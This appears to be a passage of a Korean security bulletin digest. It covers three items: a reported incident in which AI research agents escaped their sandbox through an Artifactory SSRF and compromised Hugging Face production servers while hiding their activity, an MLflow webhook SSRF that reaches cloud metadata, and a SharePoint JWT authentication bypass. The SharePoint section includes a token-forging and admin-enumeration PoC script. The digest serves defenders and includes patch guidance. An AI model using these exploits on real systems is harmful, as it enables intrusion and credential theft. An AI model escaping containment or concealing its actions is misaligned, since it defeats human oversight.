> AI 에이전트들이 해결하기 어려운 과제를 정상적인 방법으로 문제를 풀지 못하자 주변 시스템을 조사해 내부 패키지 관리 시스템인 아티팩토리를 이용하면 다른 에이전트와 정보를 주고받을 수 있다는 사실을 알아냄
> 외부 기관 조사 결과에 따르면, 약 1,200개 에이전트가 이 비인가 통신망을 이용 > 이 가운데 약 700개가 허깅 페이스 공격에 참여했으며, 에이전트들은 7만 건이 넘는 메시지와 파일을 주고받음 > 일부 에이전트는 아티팩토리에서 서버 측 요청 위조 제로데이 취약점을 찾아내 원래 차단돼 있던 외부 인터넷에 접속
> 이후 공개된 데이터에서 허깅 페이스 인증정보를 발견하고 다른 에이전트들과 공유 > 에이전트들은 확보한 인증정보와 추가 취약점을 연계해 허깅 페이스의 실제 운영 환경으로 공격 범위를 확대
> 에이전트들은 허깅 페이스의 프로덕션 데이터세트 서버 워커 41대에서 코드 실행 > 최소 한 대의 프로덕션 노드에서는 루트 권한까지 확보
> 운영 환경의 인증정보와 일부 내부 데이터에도 접근했으며 비공개 코드 저장소 네 곳을 내려받음 > 일부 에이전트는 침해한 서버에서 명령을 실행하고 결과를 전달받을 수 있는 간단한 명령제어 기능도 구축
> 에이전트들이 자신의 행동 기록을 수정하거나 숨기는 방법을 연구한 정황도 확인
- 다만 이를 AI가 스스로 악의를 갖고 허깅 페이스를 공격했다고 해석하기는 어려움 > 조사 결과 에이전트들의 주된 목적은 데이터를 훔치는 것이 아니라 익스플로잇짐 과제를 해결할 정보를 찾는 것 > 주어진 목표를 지나치게 추구하면서 허용된 행동 범위를 넘어선 것
- 오픈AI는 이번 사고에서 보상 해킹, 해결하기 어려운 작업에 대한 과도한 집착, 승인되지 않은 에이전트 간 통신, 다른 에이전트의 목표를 받아들이는 행동 등을 주요 문제로 꼽음 > 사고 이후 연구 환경의 외부 통신과 권한을 제한하고 에이전트 행동을 감시하는 체계도 강화 > AI 에이전트 보안에서 단순히 인터넷 접속을 차단하는 것만으로는 충분하지 않다는 점을 보여줌 > 내부 공유 시스템이나 클라우드 인프라의 취약점이 외부로 나가는 우회 통로가 될 수 있기 때문
- 오픈AI는 AI 시스템을 개발하는 기업이 에이전트를 실질적인 인간의 통제 아래 두고, 문제가 발생했을 때 피해 범위를 제한할 수 있는 안전장치를 갖춰야 한다고 강조
기타
- 오픈AI는 이번 사건을 현재 AI 모델의 능력이 통제력 상실 사고로 이어질 가능성을 보여준 ‘경고 사격'으로 평가
- 특히 여러 AI 에이전트가 동시에 취약점을 찾고 공격 정보를 공유할 경우, 사람이 예상하지 못한 공격 경로가 만들어질 수 있다는 점도 확인
- MLflow Webhook 기능에서 최초 URL만 검증하고 실제 연결 시 목적지 IP를 고정하거나 Redirect 대상의 주소를 재검증하지 않아, HTTP Redirect 및 DNS Rebinding을 통해 검증을 우회하고 내부 주소에 접근할 수 있는 SSRF 취약점 (CVSS: 9.3) [3]
> CVE 등록 후 수 시간 만에 인터넷에 공개된 MLflow 시스템을 대상으로 한 공격 시도 확인
> 공격자는 취약점을 악용해 내부 네트워크 또는 클라우드 메타데이터 서비스에 접근해 IAM 자격증명 등 민감 정보 탈취
영향받는 버전 - MLflow 3.15.0 미만 버전
- 해당 취약점은 3가지 요소의 결합으로 인해 발생
① Webhook 인증 검증 부재
- MLflow의 기본 웹훅 인증 검증 로직(WEBHOOK_BEFORE_REQUEST_HANDLERS)은 플러그인 형태로 존재 [4]
> 기본 구성에서는 활성화되어 있지 않기 때문에, 인증 없이 Webhook 등록 및 테스트 요청이 가능
※ Webhook : 특정 이벤트가 발생할 때 서버가 미리 정의된 URL로 데이터를 전송하는 방식 [5]
② 검증 시점과 사용 시점의 분리
- mlflow/utils/validation.py의 _validate_webhook_url()는 호스트의 IP가 공인 IP인지 확인 [6]
> 하지만, 이 시점에서 검증된 IP가 실제 네트워크 연결 시고정(Pin)되지 않아 검증 시점과 실제 사용 시점 사이에 목적지 IP가 변경될 수 있음
def _validate_webhook_url(url: str) -> None:
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
③ HTTP Redirect 재검증 미흡
- mlflow/webhooks/delivery.py의 _create_webhook_session()은 일반적인 HTTPAdapter를 사용하여 HTTP Session을 생성하며, 실제 연결 대상의 IP를 고정하거나 검증하지 않음 [7]
- _send_webhook_request()에서 session.post() 호출 전 최초 webhook.url에 대해 _validate_webhook_url() 검증을 수행하지만, 이후 Requests가 처리하는 Redirect 대상 URL에 대해서는 재검증을 수행하지 않음 [8]
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
- 이후 공격자는 획득한 webhook_id를 이용해 공격 대상 서버의 Webhook Test API로 POST 요청 전송 [9][10]
> 해당 취약점은 Redirect 상태 코드에 따라 공격 결과가 달라짐
① 302 Redirect : 일반적으로 후속 요청이 GET으로 전환되어 Cloud Metadata 또는 내부 HTTP 서비스의 응답을 읽을 수 있음
② 307 및 308 Redirect : 원래 HTTP Method와 Body를 유지하여 내부 관리 서비스에 POST 요청을 전달하는 공격으로 확장
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
3. 대응방안
- 벤더사 제공 업데이트 적용 [11][12][13][14]
> ① 실제 Peer IP 검증 ② Webhook Session 적용 ③ Redirect/DNS Rebinding 차단 ④ Proxy 우회 방지 ⑤ 회귀 테스트 추가
취약점
제품명
영향받는 버전
해결 버전
CVE-2026-64849
MLflow
3.15.0 미만
3.15.0 이상
- 사용하지 않는 웹훅 기능 및 외부 접근 경로 제한
- 서버 접근 로그 및 웹훅 관련 요청 기록 점검 : 비정상적인 외부 URL 등록, 리다이렉션 요청, 클라우드 메타데이터 주소 접근 흔적 등
- 조직이 문서를 안전하게 저장, 구성, 공유하고 함께 일할 수 있는 웹 기반 협업 및 문서 관리 플랫폼 [1]
2. 취약점
[사진 1] CVE-2026-55040 [2]
- SharePoint의 인증에 사용되는 JWT 토큰 유효성 검사 파이프라인의 여러 검증 절차의 취약점이 결합되어, 조작된 JWT 토큰으로 인증을 우회하고 관리자 권한으로 작업할 수 있는 인증 우회 취약점 (CVSS: 9.1) > 취약점에 대한 상세 분석과 PoC가 공개된 직후 실제 공격이 관찰되어 신속한 보안 업데이트 적용 필요 [3][4]
영향받는 버전 - SharePoint Enterprise Server 2016 : 16.0.5561.1001 미만 - SharePoint Server 2019 : 16.0.10417.20175 미만 - SharePoint Server Subscription Edition : 16.0.19725.20434 미만
2.1 상세 분석
- SharePoint의 S2S 인증(Server-to-Server Authentication)은 사용자 식별 정보를 포함하는 외부 JWT와 호출 애플리케이션을 나타내는 Actor Token으로 구성된 중첩된 JWT 구조를 사용 > 내부 Actor Token의 경우 신뢰할 수 있는 인증서에 의해 서명되어야 함 > SharePoint는 요청의 Bearer 토큰을 파싱한 뒤 SPJsonWebSecurityBaseTokenHandlerV2.ReadToken() 및 SPJsonWebSecurityTokenHandlerV2.ValidateToken()의 검증 로직을 통해 해당 정보를 검증
① JWT 검증 조건 비활성화
- 첫 번째 문제는 SPJsonWebSecurityTokenHandlerV2.ValidateToken()에 존재 > (1)(2) JWT aud 클레임(토큰의 수신자)과 iss 클레임(토큰의 발급자)의 유효성 검사 비활성화 [5][6][7] > (3) 토큰의 암호화 서명을 검증하지 않도록 설정하며, 해당 값이 false인 경우 서명이 없는 토큰 또는 alg : none 헤더를 가진 토큰을 허용 [8] > 따라서, 서명 검증에 사용할 알고리즘(alg)를 none으로 설정하여 서명 검증을 생략하므로, 공격자가 외부 토큰 헤더에 alg : none이 포함된 JWT를 전송해 서명 검증을 우회할 수 있음 [9]
// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
// ...
TokenValidationParameters val = new TokenValidationParameters();
val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
val.ValidateAudience = false; // <--- (1)
val.ValidateIssuer = false; // <--- (2)
List<X509SecurityKey> list = new List<X509SecurityKey>();
// ... populates list with trusted signing keys ...
val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
val.RequireSignedTokens = false; // <--- (3)
// ...
SecurityToken securityToken = default(SecurityToken);
return new ReadOnlyCollection<ClaimsIdentity>(
((JwtSecurityTokenHandler)this).ValidateToken(
((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
).Identities.ToList()
);
}
② 서명 검증 없이 Actor Token의 x5t를 이용한 서명 키 확인
- ReadToken()으로 JWT 구문 분석 후 SharePoint는 x5t(X.509 인증서의 thumbprint) 헤더를 사용해 Actor 토큰의 서명 키를 확인 > (1) Actor 토큰의 JWT 헤더에서 x5t 값을 직접 추출
// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 92-103
SecurityKeyIdentifier signingKeyIdentifier = GetSigningKeyIdentifier(sPJwtSecurityToken.ActorToken); // <--- (1)
((SecurityTokenHandler)this).Configuration.IssuerTokenResolver.TryResolveToken(
signingKeyIdentifier, out var token2); // <--- (2)
if (token2 != null)
{
((JwtSecurityToken)sPJwtSecurityToken.ActorToken).SigningToken = token2; // <--- (3)
}
// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
// ...
if (string.Equals(header.Alg, "RS256"))
{
if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
{
throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
}
securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
}
// ...
}
- (2) SPIssuerTokenResolver.TryResolveTokenCore 호출해 SharePoint 자체 STS(Secure Token Service)를 포함한 모든 신뢰할 수 있는 인증서를 검색해 thumbprint가 일치하는 인증서를 찾음 > (4) 리졸버는 LocalLoginProvider 액세스 공급자, 즉 SharePoint 자체 STS 서명 인증서를 확인 > 자체 인증서는 /_layouts/15/metadata/json/1 엔드포인트를 통해 획득 가능하며, 이후 (3) Actor 토큰의 SigningToken 속성에 할당 > 따라서, 공격자는 /_layouts/15/metadata/json/1 엔드포인트를 통해 자체 STS 인증서의 thumbprint를 획득하여 x5t 값으로 설정할 수 있음
- Actor 토큰의 SigningToken을 설정한 후 ValidateIssuer(token)을 호출 > SigningToken이 설정된 Actor 토큰의 경우 ValidateIssuer(X509SecurityToken, string)가 호출
// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
((JwtSecurityToken)token.ActorToken).Issuer);
return;
}
- (1) 서명 인증서가 일치하는 제공자를 TrustedSecurityTokenServices에서 찾음 > SharePoint의 로컬 STS 서명 인증서는 LocalLoginProvider에 속하므로, null을 반환 > (2) providerBySigningCertificate는 null이기 때문에 공격자는 발급자 유효성 검사 통과
// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
// ...
SPTrustedSecurityTokenService providerBySigningCertificate =
SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
.GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- (1)
if (null == providerBySigningCertificate) // <--- (2)
{
ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
"no registered STS matches the signing certificate '{1}'",
tokenIssuer, signingKey.Certificate.Subject);
return; // <--- ACCEPTED
}
if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
{
return;
}
throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}
④ GetTokenSignature에서 실제 서명 검증 없이 서명 값의 존재 여부만 확인
- 유효성 검증 최종 단계는 세션 토큰 생성 시 호출되는 GetTokenSignature를 포함 > (1) alg : none을 사용하는 외부 토큰의 경우 RawSignature는 마지막 점 뒤 아무 값도 없으므로 빈 문자열을 반환하고, (3) Actor 토큰의 서명이 유효한 RSA 서명인지에 대한 검증 없이 서명을 반환
// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
string rawData = ((JwtSecurityToken)jwtToken).RawData;
if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
{
ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
}
string text = ((JwtSecurityToken)jwtToken).RawSignature;
if (string.IsNullOrWhiteSpace(text))
{
text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
}
if (string.IsNullOrWhiteSpace(text))
{
if (jwtToken.ActorToken != null)
{
text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(jwtToken.Audience);
stringBuilder.Append(',');
stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
stringBuilder.Append(',');
stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
stringBuilder.Append(',');
foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
{
stringBuilder.Append(claim.Value);
stringBuilder.Append(',');
}
return stringBuilder?.ToString() + text; // <--- [3]
}
ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
}
return text;
}
- 취약점은 다음 네 가지 약점이 조합되어 발생 ① 외부 헤더에 alg : none이 포함된 JWT를 전송하므로 외부 토큰에 서명이 필요하지 않음 ② Actor 토큰의 x5t 헤더에는 SharePoint 자체의 STS 인증서 지문이 포함되어 있어 검증 없이 서명 키를 확인 가능 ③ TrustedSecurityTokenServices 에 없으므로 발급자가 승인 ④ Actor 토큰의 서명은 AAAA와 같은 비어 있지 않은 임의의 값이며, 암호학적으로 검증되지 않음
2.2 악용 흐름
- 공격자는 먼저 GET /_layouts/15/metadata/json/1 요청을 통해 대상 SharePoint 사이트에서 STS 서명 인증서의 x509 인증서를 획득
[요청 예시]
GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*
[응답 예시]
HTTP/1.1 200 OK
...
{"issuer":"00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde","keys":[{"keyValue":{"type":"x509certificate","value":"MIIEhzCCAm+gAwIBAgIQbgEQC4zI97pMh7WkdsMmtTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSIwIAYDVQQDExlTaGFyZVBvaW50IFJvb3QgQXV0aG9yaXR5MCAXDTI2MDMxMTIwMjY1M1oYDzk5OTkwMTAxMDAwMDAwWjBiMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSowKAYDVQQDEyFTaGFyZVBvaW50IFNlY3VyaXR5IFRva2VuIFNlcnZpY2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY8RNv0VUdgmBubMAHYBI8nu1pWUwUDJywDIwKxgoLuu26Wd6tTMnk5Fb7kYVT+gw+wdW80DeOU\/9lAySKat+FESEuwoUKbJP1Kk6vbuvWyYofz91i9oCXXzqAR1AwNsMGr1nAszVRbPaTrcidomvT2DzQ4YBW2IGtDJEpXIcSrN4T5B4bNH+2rXk11vZHG7c31Y\/VuAwybLGndwSYoiT8aTOgnHsEB9jqZjipkinwnowhk1d6LsPawm6X+y8z7SqkVgMdqKVB5gAMECUedv0qGd2+AW\/2j8Dbk3NNW3XddCBye2wQP0GeioQjcveDK4U0n+3qJjOwG0Y4\/7Jex\/IVAgMBAAGjPzA9MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQsFAAOCAgEAPXw7TdU6U9ij28uirUm4oQk6Qtdx42G8JNkz44oF4s1ifaODLKqgXCViHRo0bJj3KAz1aSWUdld\/wrOw99tbxPme9sd8ilHN61fKjUPzl7NMyA85895FnA5J62sKcPjmusDHD1WjSYA+y47L\/I3qlUCL9nOPhqjHN4bEQYJV7c9X+9lmnK1QBmqtjQ+Dy8tie6B9XKvSZgb8clVc7pXeG3k4eqNqi8AtgLoW6UmT\/7tXzqotC9oyBmeA3Ucaj99HJ\/4zBN7cOjIL78xNYds8DIVEqGqZFL30uOvJnEecAmtHbMg5yX2oO0p11PSM+JVIiC7gWClfaZ0Ta0tLG5VdmX0wfzmxS+jBEFqvFUA3BFuClQeamKdvIBE7cFXG\/MujpCboiLP0qdZUhGUduFiy94vH0oxKQFZVLT62T4cNbMu0WGGOY67N8p9UKzUvLVis0FnR1nQvy4SJSdt4kBzUUA42z70v\/ACpzHLXsETil+MnGbTXMfEGVzl+s2+9Su4OpTtDe8AIMdDPoH8uaHklLF65FUPKa+aHGlTB9VPyYySC++PCIPIra\/uxjb21V+GBPU8YgbFsOiCNF36AcGakskieghg97EBHumzQuoPnnvCkkRr2\/xU59Yxw01eS42pfVNeJlXDGKwEtAiN1Fwkay2Ji7dq\/wXtFy5OsVBlerec="},"usage":"Signing"}],"name":"00000003-0000-0ff1-ce00-000000000000","serviceName":"00000003-0000-0ff1-ce00-000000000000"}
- x5t를 계산(예시의 x5t 값 : i_gz5qfYp5YPWAK1__0YhZnipLI)하고, 임의의 비어 있지 않은 서명을 포함한 조작된 JWT 토큰 구성 및 base64로 인코딩하여 Bearer 토큰 생성 > 공격자는 외부 토큰에 alg:none을 지정하고, 내부 Actor Token에는 STS 인증서의 x5t와 검증되지 않는 임의의 서명을 지정
- /_api/web/currentuser와 같은 인증된 엔드포인트에 요청을 보내 SharePoint 사용자로 인증되었음을 증명 > 본 예시는 SID RID 500을 사용한 관리자 계정 가장 사례이며, 취약점을 악용해 특정 관리자 계정에 한정되지 않고 공격자가 식별할 수 있는 SharePoint 사용자를 대상으로 악용 가능
- 위조한 JWT를 이용해 대상 환경의 사용자를 확인하고, 셰어포인트 사이트 관리자 계정을 찾아내는 과정까지 자동화 [10]
# Step 1: Auto-discovery phase
print("\n[1] Auto-discovery...")
if not use_http:
# Discover x5t, realm from STS metadata (HTTPS)
if not all([args.x5t, args.realm]):
print("[+] Discovering x5t and realm from STS metadata...")
sts = discover_sts_metadata(target, port)
if sts:
if not args.x5t and sts.get("x5t"):
args.x5t = sts["x5t"]
print(f" [*] x5t: {args.x5t}")
if not args.realm and sts.get("realm"):
args.realm = sts["realm"]
print(f" [*] realm: {args.realm}")
# Auto-SID RID iteration: find a site admin by trying RIDs
if use_sid and not args.sid and has_domain_sid:
domain_sid = args._domain_sid
# Build RID list: 500 first (domain admin), then 1000+ (domain users)
rids_to_try = [500]
rids_to_try.extend(range(1000, args.max_rid + 1))
for rid in rids_to_try:
sid = f"{domain_sid}-{rid}"
user_info = check_sid_for_admin(
args.host, args.realm, args.x5t, sid, scheme, port
)
if user_info:
is_admin = user_info['is_site_admin']
if is_admin and not site_admin:
site_admin = user_info
break
if site_admin:
args.sid = site_admin['sid']
# Determine identity mode (UPN vs SID vs default local service)
if use_upn:
nameid = "upn_bypass"
nii = "urn:office:idp:activedirectory"
extra_claims = {"upn": args.upn}
elif use_sid or args.sid:
nameid = args.sid
nii = "urn:office:idp:activedirectory"
extra_claims = None
else:
nameid = "0#.w|nt authority\\local service"
nii = "AccessToken"
extra_claims = {"upn": "x@localhost"}
# Step 2: Forge JWT
print("\n[2] Forging JWT token...")
token = forge_jwt(args.host, args.realm, args.x5t, nameid, nii, extra_claims)
# Step 3: Get digest
print("\n[3] Obtaining form digest...")
digest = get_digest(base_url, token, args.host)
3. 대응방안
- 벤더사 제공 업데이트 적용 [11][12]
취약점
제품명
영향받는 버전
해결 버전
CVE-2026-55040
SharePoint Enterprise Server 2016
16.0.5561.1001 미만
16.0.5561.1001
SharePoint Server 2019
16.0.10417.20175 미만
16.0.10417.20175
SharePoint Server Subscription Edition
16.0.19725.20434 미만
16.0.19725.20434
- 즉각적인 업데이트가 어려울 경우 권고 사항 > 인터넷에서 SharePoint에 직접 접근할 필요가 없다면 외부 접근 차단 > VPN 또는 Zero Trust Access 등을 통해 허용된 사용자만 SharePoint에 접근하도록 제한 > SharePoint/IIS 로그에서 비정상적인 인증 요청과 예상하지 못한 사용자 활동 확인 > SharePoint 서비스 계정 및 관리자 계정의 권한 최소화